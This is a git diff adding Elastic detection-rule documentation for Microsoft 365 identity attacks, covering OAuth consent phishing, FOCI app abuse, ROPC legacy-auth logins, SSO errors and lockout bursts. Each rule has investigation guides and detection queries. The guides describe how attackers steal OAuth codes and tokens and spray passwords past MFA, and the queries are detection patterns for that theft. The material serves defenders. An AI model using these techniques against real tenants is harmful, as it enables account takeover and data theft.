+*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: OAuth App Consent +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Illicit Consent Grant by Rare Client and User* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These apps can access sensitive Microsoft 365 data—such as mail, profiles, and files—on behalf of the user once consent is granted. This activity is often initiated through spearphishing campaigns that direct the user to a pre-crafted OAuth consent URL. + +This rule identifies a new consent grant to an application using Microsoft 365 audit logs. Additionally, this is a New Terms rule that will only trigger if the user and client ID have not been seen doing this activity in the last 14 days. + + +*Possible investigation steps* + + +- **Review the app in Entra ID**: + - Go to **Enterprise Applications** in the Azure portal. + - Search for the `AppId` or name from `o365.audit.ObjectId`. + - Review granted API permissions and whether admin consent was required. + - Check the `Publisher` and `Verified` status. + +- **Assess the user who granted consent**: + - Investigate `o365.audit.UserId` (e.g., `terrance.dejesus@...`) for signs of phishing or account compromise. + - Check if the user was targeted in recent phishing simulations or campaigns. + - Review the user’s sign-in logs for suspicious geolocation, IP, or device changes. + +- **Determine scope and risk**: + - Check `o365.audit.ModifiedProperties.ConsentAction_Reason.NewValue` to determine whether Microsoft's own risk heuristics flagged the application. A value of `Risky application detected` means Microsoft scored the app as suspicious at the time consent was granted and should raise the priority of the review. This reason is only populated on admin-consent events, and its absence does not clear the application; a flagged app is also not necessarily malicious, since Microsoft's heuristic can flag legitimate apps. + - Use the `ConsentContext_IsAdminConsent` and `ConsentContext_OnBehalfOfAll` flags to assess privilege level. + - Review `o365.audit.ModifiedProperties.ConsentAction_Permissions.NewValue` for the granted scopes. Combinations such as `offline_access` with `Mail.ReadWrite`, `Files.ReadWrite.All`, or `Chat.Read` are characteristic of mailbox and file exfiltration and indicate potential data exposure. + - Cross-reference affected `Target` objects with known business-critical assets or data owners. + +- **Correlate additional telemetry**: + - Review logs from Defender for Cloud Apps (MCAS), Microsoft Purview, or other DLP tooling for unusual access patterns. + - Search for `AppId` across your tenant to determine how widely it's used. + + +*False positive analysis* + + +- Not all consent grants are malicious. Verify if the app is business-approved, listed in your app catalog, or commonly used by users in that role or department. +- Consent reasons like `WindowsAzureActiveDirectoryIntegratedApp` could relate to integrated services, though these still require verification. +- A `ConsentAction_Reason` of `Risky application detected` raises confidence that the consent is worth investigating, but Microsoft's risk heuristic is advisory and can flag legitimate applications (including internal line-of-business apps and newly registered tenant applications). Its absence does not make the consent benign, so weigh it alongside the requested scopes, admin-consent context, and the application's publisher. + + +*Response and remediation* + + +- **If the app is confirmed malicious**: + - Revoke OAuth consent using the https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-delete[Microsoft Graph API]. + - Remove any related service principals from Entra ID. + - Block the app via the Conditional Access "Grant" control or Defender for Cloud Apps policies. + - Revoke refresh tokens and require reauthentication for affected users. + - Notify end-users and IT of the potential exposure. + - Activate your phishing or OAuth abuse response playbook. + +- **Prevent future misuse**: + - Enable the https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/configure-admin-consent-workflow[Admin consent workflow] to restrict user-granted consent. + - Audit and reduce overprivileged applications in your environment. + - Consider using Defender for Cloud Apps OAuth app governance. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and o365.audit.Actor.Type: 5 + and event.action: "Consent to application." + and event.outcome: "success" + and o365.audit.Target.Type: (0 or 2 or 3 or 9 or 10) + and o365.audit.UserId: * + and o365.audit.ObjectId: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..93328bacb4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-m365-identity-oauth-phishing-via-first-party-microsoft-application]] +=== M365 Identity OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-25m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. The rule specifically looks for `OAuth2:Authorize` requests with `Redirect` status, which indicates the user was redirected after authorization and the OAuth code was exposed. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and validate whether the user expected to authorize the application. +- Check `o365.audit.ActorIpAddress` for unexpected IPs, especially outside corporate ranges or from proxy/VPN networks. +- Examine `user_agent.original` and `o365.audit.DeviceProperties` for suspicious patterns (automation tools, headless browsers, unusual browser/OS combinations). +- Confirm `o365.audit.Target.ID` to identify the resource being accessed. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `o365.audit.ExtendedProperties.RequestType` and `ResultStatusDetail` - `OAuth2:Authorize` with `Redirect` indicates the OAuth code was exposed to the user. +- Look for subsequent `OAuth2:Token` events from different IPs using the same `o365.audit.UserId`, which indicates token exchange from attacker infrastructure. +- Pivot to `azure.graphactivitylogs` to check for follow-up Graph API activity (mailbox enumeration, file access) from unfamiliar locations. +- Correlate with `azure.signinlogs` for additional sign-in context and device details. + + +*False positive analysis* + + +- Developers or IT users intentionally using Visual Studio Code, Azure CLI, or Azure PowerShell to connect to Microsoft 365. +- Legitimate VS Code extensions that sync or query Graph API data (calendars, tasks, cloud-hosted notebooks). +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Exclude known user agents and hosts that regularly use these applications against Graph. +- Whitelist specific source IPs or devices tied to developer machines. + + +*Response and remediation* + + +- Contact the user to confirm if they expected this login or may have shared an OAuth code via phishing page, Signal, or WhatsApp. +- If unauthorized, revoke all refresh tokens for the user and reset credentials. +- Review recent Microsoft Graph activity (email, file access, Teams) for signs of data exfiltration. +- Block or restrict future use of OAuth tokens from unknown apps or IPs via Conditional Access. +- Check `azure.auditlogs` for device registration events and remove any unauthorized registrations. +- Educate users about OAuth phishing techniques and the risks of sharing authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and event.action: "UserLoggedIn" + and o365.audit.ExtendedProperties.RequestType: "OAuth2:Authorize" + and o365.audit.ExtendedProperties.ResultStatusDetail: "Redirect" + and o365.audit.UserType: ("0" or "2" or "3" or "5" or "6" or "10") + and ( + ( + o365.audit.ApplicationId: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) + and o365.audit.Target.ID: ( + "00000003-0000-0000-c000-000000000000" or + "00000002-0000-0000-c000-000000000000" + ) + ) or + ( + o365.audit.ApplicationId: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) + and o365.audit.Target.ID: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc new file mode 100644 index 0000000000..96a36ea55b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-m365-identity-oauth-ropc-grant-via-legacy-authentication-client]] +=== M365 Identity OAuth ROPC Grant via Legacy Authentication Client + +Identifies a successful login by a user principal through a legacy authenticated client (such as Authenticated SMTP, IMAP, POP, or Exchange ActiveSync) in the Microsoft 365 Unified Audit Log, evidenced by the "BAV2ROPC" user agent. Legacy basic-authentication clients are translated by Entra ID into a Resource Owner Password Credentials (ROPC) grant, a single-factor flow that submits the user's password directly and bypasses interactive multi-factor authentication. This is commonly abused during password spraying and account takeover. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://redcanary.com/blog/threat-detection/bav2ropc/ +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema +* https://www.huntress.com/blog/lshiy-password-spray-attack + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth ROPC Grant via Legacy Authentication Client* + + +The Resource Owner Password Credentials (ROPC) flow allows a client to obtain tokens by submitting a user's credentials directly, without interactive sign-in. Legacy authentication clients (Authenticated SMTP, IMAP, POP, Exchange ActiveSync) that use basic authentication are translated by Entra ID into ROPC grants, which are single-factor and bypass interactive MFA. Microsoft 365 records these logins in the Unified Audit Log as `UserLoggedIn` events with the `BAV2ROPC` user agent. Adversaries abuse this flow for password spraying and account takeover against accounts that lack MFA enforcement or fall outside legacy-authentication blocking. + +This rule identifies a successful ROPC/legacy-client login for a user principal not seen performing this activity in the last 10 days. Because the Unified Audit Log is a separate pipeline from the Entra ID sign-in diagnostic stream, this rule provides coverage even when non-interactive sign-in logs are not forwarded to the SIEM. + + +*Possible investigation steps* + +- Review `o365.audit.UserId` to identify the account that authenticated and determine whether it is expected to use legacy authentication clients. +- Review `o365.audit.ApplicationId` and `o365.audit.Target.ID` to identify the targeted resource. `00000002-0000-0ff1-ce00-000000000000` is Office 365 Exchange Online, the typical target of Authenticated SMTP. +- Confirm the client via `user_agent.original: "BAV2ROPC"`, which indicates a legacy basic-authentication client translated into a ROPC grant. +- Review `o365.audit.ClientIP` / `source.ip` and geolocation to determine whether the source is expected for this user. Correlate with known-malicious infrastructure or unusual ASNs. +- Pivot on `o365.audit.UserId` in Entra ID Sign-In Logs (`logs-azure.signinlogs-*`) to corroborate the login, and look for a preceding burst of failed authentications (password spraying) from the same source or against the same account. +- Review subsequent activity by the account (mailbox access, rule creation, mail forwarding, OAuth consent) for signs of post-compromise actions on objectives. + + +*False positive analysis* + +- Legitimate legacy applications, service accounts, or scripts that still rely on Authenticated SMTP or other basic-authentication clients may trigger this rule. Validate the account, source, and business purpose, and exclude confirmed benign service accounts. +- Multifunction devices, scan-to-email appliances, and monitoring tools that submit mail via Authenticated SMTP can generate this activity. These are typically stable in source IP and account and can be excluded once verified. + + +*Response and remediation* + +- If the login is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password. +- Disable SMTP AUTH and other legacy authentication for the affected mailbox (`Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, tenant-wide. +- Enforce a Conditional Access policy that requires MFA and blocks legacy authentication for the affected user and, ideally, all users. +- Investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign. +- Review the account's activity after the login (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.code: "AzureActiveDirectoryStsLogon" and + event.action: "UserLoggedIn" and + user_agent.original: "BAV2ROPC" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc new file mode 100644 index 0000000000..7831f907a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-m365-identity-unusual-sso-authentication-errors-for-user]] +=== M365 Identity Unusual SSO Authentication Errors for User + +Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 +* https://www.semperis.com/blog/meet-silver-saml/ + +*Tags*: + +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Cloud +* Domain: Email + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Unusual SSO Authentication Errors for User* + + +SSO, SAML, and federated authentication mechanisms are critical infrastructure for modern identity access. Adversaries increasingly +target these systems through token manipulation, SAML response tampering, OAuth phishing, and exploitation of federated trust +relationships rather than traditional credential brute forcing. This detection identifies when a user experiences SSO-related +authentication errors that are unusual for their typical behavior, which may indicate an attacker attempting to abuse stolen tokens or manipulate +authentication flows. + + +*Possible investigation steps* + + +- Review the specific error code(s) in the `o365.audit.ErrorNumber` field to understand the nature of the authentication failure + (e.g., token signature failure, SAML assertion tampering, cross-tenant token misuse). Reference Microsoft's AADSTS error codes + at https://login.microsoftonline.com/error?code= for detailed descriptions. +- Examine the source IP address and geolocation of the authentication attempt - compare against the user's typical login patterns. +- Check for concurrent authentication activity from the same user - multiple SSO errors alongside successful logins may indicate + token replay or session hijacking attempts. +- Investigate recent OAuth application consent activity for this user - OAuth phishing campaigns often precede SSO manipulation attempts. +- Review the target application or service principal being accessed during the failed authentication to identify potential attacker objectives. +- Analyze the user's recent mailbox activity, particularly for phishing emails with OAuth consent links or suspicious authentication requests. +- Check for any recent changes to the user's federation settings, registered devices, or authentication methods. +- Correlate with Entra ID risky sign-in detections and risky user alerts for the same account. + + +*False positive analysis* + + +- First-time SSO setup: Users configuring SSO access to a new federated application may encounter initial authentication errors. + Validate whether the errors occurred during expected onboarding windows. +- Federation service outages: Widespread SSO errors affecting multiple users simultaneously often indicate infrastructure issues + rather than targeted attacks. Check for service health incidents in the same timeframe. +- Certificate rotation: Federated authentication certificate renewals can temporarily cause signature validation errors. Verify + if the errors align with planned certificate maintenance. +- Legitimate cross-tenant access: Users with business relationships across multiple tenants may encounter cross-tenant policy + errors during authorized access attempts. + + +*Response and remediation* + + +- If token manipulation or SAML tampering is suspected, immediately revoke all active sessions and refresh tokens for the affected user. +- Review and audit all OAuth application consents granted by the user - remove any suspicious or unrecognized applications. +- Enable Conditional Access policies requiring compliant devices and MFA for SSO authentication if not already enforced. +- If cross-tenant token misuse is detected, review and restrict external collaboration settings and cross-tenant access policies. +- For SAML assertion or signature errors, validate the integrity of federation trust certificates and metadata. +- Investigate whether the user's credentials have been compromised - enforce password reset if credential theft is suspected. +- Review Entra ID audit logs for unusual application registrations, service principal modifications, or federation setting changes. +- Escalate to the security operations team if evidence suggests active token theft, SAML Golden Ticket techniques, or OAuth phishing campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.provider:AzureActiveDirectory + and event.category:authentication + and o365.audit.ErrorNumber:( + 20001 or 20012 or 20033 or 40008 or 40009 or 40015 or + 50006 or 50008 or 50012 or 50013 or 50027 or 50048 or + 50099 or 50132 or 75005 or 75008 or 75011 or 75016 or + 81004 or 81009 or 81010 or 399284 or 500212 or 500213 or + 700005 or 5000819 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-account-lockouts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-account-lockouts.asciidoc new file mode 100644 index 0000000000..8675519946 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-account-lockouts.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-m365-identity-user-account-lockouts]] +=== M365 Identity User Account Lockouts + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Microsoft 365 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity User Account Lockouts* + + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be performed to the original sign-in and Graph events for further context. + + +*Investigation Steps* + + +- Review the `user_id_list`: Are specific naming patterns targeted (e.g., admin, helpdesk)? +- Examine `ip_list` and `source_orgs`: Look for suspicious ISPs or hosting providers. +- Check `duration_seconds`: A very short window with a high lockout rate often indicates automation. +- Confirm lockout policy thresholds with IAM or Entra ID admins. Did the policy trigger correctly? +- Use the `first_seen` and `last_seen` values to pivot into related authentication or audit logs. +- Correlate with any recent detection of password spraying or credential stuffing activity. +- Review the `request_type` field to identify which authentication methods were used (e.g., OAuth, SAML, etc.). +- Check for any successful logins from the same IP or ASN after the lockouts. + + +*False Positive Analysis* + + +- Automated systems with stale credentials may cause repeated failed logins. +- Legitimate bulk provisioning or scripted tests could unintentionally cause account lockouts. +- Red team exercises or penetration tests may resemble the same lockout pattern. +- Some organizations may have a high volume of lockouts due to user behavior or legacy systems. + + +*Response Recommendations* + + +- Notify affected users and confirm whether activity was expected or suspicious. +- Lock or reset credentials for impacted accounts. +- Block the source IP(s) or ASN temporarily using conditional access or firewall rules. +- Strengthen lockout and retry delay policies if necessary. +- Review the originating application(s) involved via `request_types`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| mv_expand event.category +| eval + Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) +| where + data_stream.dataset == "o365.audit" and + event.category == "authentication" and + event.provider in ("AzureActiveDirectory", "Exchange") and + event.action in ("UserLoginFailed", "PasswordLogonInitialAuthUsingPassword") and + to_lower(o365.audit.ExtendedProperties.RequestType) rlike "(oauth.*|.*login.*)" and + o365.audit.LogonError == "IdsLocked" and + to_lower(o365.audit.UserId) != "not available" and + o365.audit.Target.Type in ("0", "2", "6", "10") and + source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" +| stats + Esql_priv.o365_audit_UserId_count_distinct = count_distinct(to_lower(o365.audit.UserId)), + Esql_priv.o365_audit_UserId_values = values(to_lower(o365.audit.UserId)), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.o365_audit_ExtendedProperties_RequestType_values = 